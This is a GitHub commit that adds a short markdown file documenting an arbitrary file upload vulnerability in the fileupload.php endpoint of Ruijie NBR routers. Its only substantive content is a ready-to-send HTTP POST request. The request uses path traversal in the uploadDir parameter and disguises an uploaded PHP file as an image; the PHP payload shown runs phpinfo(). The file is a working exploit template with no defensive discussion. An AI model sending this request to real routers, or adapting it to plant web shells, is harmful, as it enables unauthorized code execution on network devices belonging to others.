Create 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞.md

This commit is contained in:
wy876 2023-08-20 09:38:27 +08:00 committed by GitHub
parent 95aa39046e
commit c5cf63b74a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -0,0 +1,11 @@
## 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞
```
POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1
Host:
Accept: text/plain, */*; q=0.01
Content-Disposition: form-data; name="file"; filename="111.php"
Content-Type: image/jpeg
<?php phpinfo();?>
```